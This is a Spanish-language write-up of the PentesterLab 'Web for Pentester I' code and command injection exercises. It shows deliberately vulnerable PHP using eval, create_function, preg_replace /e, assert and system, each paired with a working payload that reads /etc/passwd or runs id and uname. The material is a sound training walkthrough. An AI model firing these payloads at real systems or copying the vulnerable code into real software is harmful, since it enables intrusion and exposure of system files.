Está en la página 1de 9

[Pentesterlab write-up] Web For Pentester I - Code &

Commands Injection
Damos un pasito más, ya casi terminando el lab “Web for pentester I” de Pentesterlab,
esta vez realizando los ejercicios correspondientes a las vulnerabilidades de inyección
de código e inyección de comandos. 

Cuando hablamos de inyección de comandos el objetivo es la ejecución de comandos


(valga la redundancia) en el sistema operativo del host a través de la aplicación
vulnerable, la cual se realiza con los privilegios del usuario de la aplicación. En el caso
de inyección de código el atacante puede agregar su propio código que luego es
ejecutado por la aplicación. Digamos que en “Code Injection” el atacante amplía la
funcionalidad por defecto de la aplicación sin necesidad de ejecutar comandos del
sistema, aunque también puede hacerlo utilizando las funciones correspondientes del
lenguaje de programación utilizado (por ej. system en php). 

Ambas pueden explotarse cuando una aplicación no filtra (o lo hace de forma


incorrecta) los datos introducidos por el usuario (formularios, cookies, cabeceras HTTP,
etc.).
CODE INJECTION

Ejercicio 1:

En el primer ejemplo vemos que el desarrollador ha usado la función eval para ejecutar
lo que pasas como parámetro como una línea de código php y... bueno muchos dicen
que "eval is evil" y al no filtrar la entrada antes podemos simplemente concatenar otro
comando con un simple punto (".") y usar # para comentar el resto del código:

SERVIDOR

<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";

eval($str);
?>

PAYLOAD

http://pentesterlab/codeexec/example1.php?name=hacker
%22.system(%27hostname%27)%3B%23

Decoded: hacker".system('hostname');#

Ejercicio 2:

El siguiente código php muestra los usuarios de la tabla users ordenado por el campo
que especifiquemos:
SERVIDOR:

...
require_once('../sqli/db.php');
$sql = "SELECT * FROM users ";

$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b-
>'.$order.');'));
}
}

....

La función usort se utiliza mucho con la función create_function para generar


dinámicamente la función para ordenar la salida basádose en información controlada
por el usuario. Pero si no se realiza un filtrado puede derivar en la ejecución de código
como vemos a continuación:

PAYLOAD:

http://pentesterlab/codeexec/example2.php?order=id)%3B}system(%27cat
%20/etc/passwd%27)%3B%23

Decoded: id);}system('cat /etc/passwd');#


Ejercicio 3:

El siguiente código utiliza preg_replace para sustituir caracteres y cadenas en una


cadena de texto tras una búsqueda realizada mediante expresiones regulares. Por
ejemplo:

http://pentesterlab/codeexec/example3.php?pattern=/[0-
9]/&new=cambiado&base=1

SERVIDOR

<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>

El tema (como casi siempre) es que si no filtramos el parámetro del patrón podremos
igualmente inyectar código:
PAYLOAD

http://pentesterlab/codeexec/example3.php?&pattern=/[0-
9]/e&amp;new=system(%27uname%20-a%27)&base=1

Ejercicio 4:

Y el último ejercicio de esta serie se basa en la función assert que evalúa el parámetro
recibido (assertion) y toma la acción apropiada si su resultado es FALSE.

SERVIDOR 

assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);

Igualmente podemos pasarle un payload malicioso y conseguir ejecución remota:

PAYLOAD

http://pentesterlab/codeexec/example4.php?name=hacker'.system('uname
-a').'

COMMAND INJECTION

Ejercicio 1:

En el primer ejercicio no hay ninguna validación así que podemos inyectar cualquier
comando en el parámetro ip:

SERVIDOR

<?php require_once("../header.php"); ?>


<pre>
<?php
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

PAYLOAD

http://pentesterlab/commandexec/example1.php?ip=127.0.0.1 && id
http://pentesterlab/commandexec/example1.php?ip=127.0.0.1; id
http://pentesterlab/commandexec/example1.php?ip=127.0.0.1| id

Ejercicio 2:

En el segundo ejercicio, esta vez y como podeis ver en el código, si hay validación,
aunque es incorrecta.

SERVIDOR
<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip'])))
{
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

El problema es que la expresión regular es multilínea así que sólo tenemos que usar un
salto de línea encodeado y ya volvemos a poder ejecutar comandos:

PAYLOAD

http://pentesterlab/commandexec/example2.php?ip=127.0.0.1%0Acat
%20/etc/passwd

Ejercicio 3:

En esta ocasión, la función preg_match está bien implementada pero el script no se


detiene al encontrar una expresión maliciosa, simplemente hace una redirección con
header y continua:
SERVIDOR

<?php require_once("../header.php"); ?>


<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip'])))
{
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

Así que podemos volver a concatenar nuestro comando y usar un proxy como
Burpsuite o nc/telnet para ver la salida del mismo:

PAYLOAD

% telnet pentesterlab 80
GET /commandexec/example3.php?ip=127.0.0.1|uname+-a HTTP/1.0
Y con esto terminamos la serie de vulnerabilidades de inyección de código y de
comandos. ¡Nos vemos en el siguiente y último post del writeup!

También podría gustarte